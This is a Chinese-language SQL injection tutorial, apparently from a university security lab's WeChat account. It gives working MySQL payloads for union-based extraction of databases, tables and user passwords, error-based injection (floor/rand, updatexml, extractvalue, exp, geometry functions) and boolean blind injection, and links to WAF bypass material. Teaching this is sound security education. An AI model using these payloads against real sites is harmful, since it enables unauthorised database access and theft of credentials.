(图片比文字能更好的帮助理解,下图)
将恶意的SQL代码插入到用户的输入参数的攻击,攻击者发现开发者编程过程中的漏洞,构造SQL语句,用户直接对数据库系统的内容进行直接检索或修改
看完原理是不是感觉看不懂呢?学完这篇推文,相信你一定能对sql注入有所了解
注:xpath相关教程(w3cschool)
https://dev.mysql.com/doc/refman/5.7/en/dynindex-function.html
(点击上方链接,了解更多)
· is null()/is not null()
· between and
· in / not in
· like/not like
· regexp
· and &&
· or ||
select * from where id=1;
select * from where id='1';
select * from where id="1";
select * from where id=1 # and 1=2;
select * from where id=1 -- and 1=2;
既然基础都了解的差不多了,那我们就向更难更深处进发吧!
//////////
(该注入不能在update,insert,limit等之后)
1.确定字段数
使用order by来确定列数,使用二分法可以快速判断
2.确定数据库名
select * from test where id=-1 union select 1,2,3,(database());
select * from test where id=-1 union select 1,2,3,(select group_concat(schema_name) from information_schema.schemata);
id=1' union select 1,database()--+
3.确定表名
select * from test where id=-1 union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema='test');
select first_name,last_name from users where user_id=1 union select 1,table_name from information_schema.tables where table_schema='dvwa';
id=1' union select 1,table_name from information_schema.tables where table_schema='dvwa'--+
注:table_scheme的参数可以使用十六进制,不需加引号,或者使用table_schema=database();
4.确定字段名
select * from test where id=-1 union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name='test');
id=1' union select 1,column_name from information_schema.columns where table_name='users'--+
5.确定数据
select * from test where id=-1 union select 1,2,3,title from test;
select * from test where id=-1 union select 1,2,3,concat_ws('~',title,author) from test;select * from test where id=-1 union select 1,2,3,concat_ws('~',title,author) from test limit 0,1;
id=1' union select user,password from users--+
返回长度有限
1.概念:让错误信息中返回数据库中的内容,来实现SQL注入,即想办法构造语句,让错误信息中可以显示数据库内容
2.凡是可以让错误信息显示的函数(语句),都能实现报错注入
· floor():group by 对 rand()函数进行操作时产生错误
select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2));
查询表名
select count(*) from information_schema.tables group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2));
查询列名
select count(*) from information_schema.tables group by concat(0x7e,(select column_name from information_schema.columns where table_name='test' limit 0,1),0x7e,floor(rand(0)*2));
extractvalue():xpath语法错误产生报错
select extractvalue(1,concat(0x7e,(select user()),0x7e));
注:使用时一定要以一个非法的xpath值开头
select extractvalue(1,concat('!',(select user())));
updatexml():xpath语法错误产生报错
select updatexml(1,concat(0x7e,(select user()),0x7e),1);
查询表名
select updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1);
查询列名
select updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='test' limit 0,1),0x7e),1);
查询数据
select updatexml(1,concat(0x7e,(select concat(title,0x7e,author) from test limit 0,1),0x7e),1);
当需要信息比较长,可以使用substr()函数截取长度,多次截取得到结果
布尔盲注就是存在注入的页面没有回显,没办法用select 1,2,3....#来判断页面的回显,只能用对和错页面显示结果不同一点一点注入
函数 |
作用 |
length(str) |
返回指定字符串的长度 |
substr(str,pos,len)/substring(str,pos,len) |
返回截取的子字符串。 |
ascii(str) |
返回指定字符串最左侧字符的ascii值。 |
步骤:
1、获得数据库名每个字符的ASCII值,将其转化为字符
在url加:and ascii(substr(databse(),1,1))>97#
用二分法会快一些,当然,也可以先用length判断一下长度再去获得ASCII值,都差不多
2、然后获得表的数量
在url加:and (select count(table_name) from information_schema.tables where table_schema=database()) = 5 #
3、根据表的数量,逐个猜解每个表名
在url加:and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
这里limit几看你有几个表了,一个一个猜,
4、猜每个表的字段名
在url后加:and ascii(substr((select column_name from information_schema.columns where table_name='获取到的表名' and table_schema='获取到的数据库名' limit 0,1),1,1))>97#
limit也是老样子
5、猜字段值
在url后加:and ascii(substr((select concat(字段名) from 数据库名.表名limit 0,1),1,1))>97#
这样一点一点来,就可以得到字段值了
前提条件:
一般是在页面没有显示位、但用echo mysql_error();输出了错误信息的时候使用,它的特点是注入速度快,但是语句较复杂,不能用group_concat(),只能用limit依次猜解
updatexml
updatexml(xml_document,xpath_string,new_value);
第一个参数:xml_documnet是String格式,为XML文档对象的名称,文中为Doc
第二个参数:xpath_string(xpath格式的字符串),如果不了解xpath语法,可以在网上查找教程
第三个参数:new_value,string格式,替换查找到的符合条件的数据
然后咱们再看看语句:
http://www.XXXIII.com/a.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
concat(str1,str2,...)
返回结果为连接参数产生的字符串。如有任何一个参数为null,则返回值为null
通过查询@@version,返回版本。然后concat将其字符串化。因为updatexml第二个参数需要xpath格式的字符串,所以不符合要求,然后报错
错误大概会是:
ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
floor
利用方式:
count(*)、rand()、group by三者缺一不可报错注入用一个公式,只要套用公式即可,公式如下:?id=2' and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (select (爆错语句)) from information_schema.tables limit 0,1))x from information_schema.tables group by x )a)--+
公式解析:
floor()是取整数rand()在0和1之间产生一个随机数rand(0)*2将取0到2的随机数floor(rand()*2)有两条记录就会报错
floor(rand(0)*2)记录需为3条以上,且3条以上必报错,返回的值是有规律的count(*)是用来统计结果的,相当于刷新一次结果group by在对数据进行分组时会先看看虚拟表里有没有这个值,没有的话就插入存在的话count(*)加1在使用group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次
如下:
id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
extractvalue
id = 1 and (extractvalue(1, concat(0x5c,(select user()))))
exp
id =1 and EXP(~(SELECT * from(select user())a))
其他
GeometryCollection()id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))polygon()id =1 AND polygon((select * from(select * from(select user())a)b))multipoint()id = 1 AND multipoint((select * from(select * from(select user())a)b))multilinestring()id = 1 AND multilinestring((select * from(select * from(select user())a)b))linestring()id = 1 AND LINESTRING((select * from(select * from(select user())a)b))multipolygon()id =1 AND multipolygon((select * from(select * from(select user())a)b))
https://zhuanlan.zhihu.com/p/85217769
https://www.freebuf.com/articles/web/36683.html
https://www.jianshu.com/p/6e83fa692b51
绕过:https://www.sharewaf.com/bypass_waf_sql.html
依据注入点类型分类
· 数字型注入
· 字符串型注入
· 搜索型注入
依据提交方式分类
· GET注入
· POST注入
· COOKIE注入
· HTTP头注入(XFF注入--x-forwarded、UAF注入--UserAgent、REFERER注入、cookie注入)
依据获取信息的方式分类
· 基于布尔的盲注
· 基于时间的盲注
· 基于报错的注入
· 联合查询注入
· 堆查询注入(可同时执行多条语句)
1.没开放3389
2..端口端口被修改
3.防护拦截
4.处于内网(需进行端口转发)
好啦,以上就是本期推文的全部内容,希望对你有所帮助哦
湖南农业大学蝰蛇信息安全实验室
文案|周dragon
图文编辑|Louise123
审核|小贾涛涛
指导老师|Hard Target
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论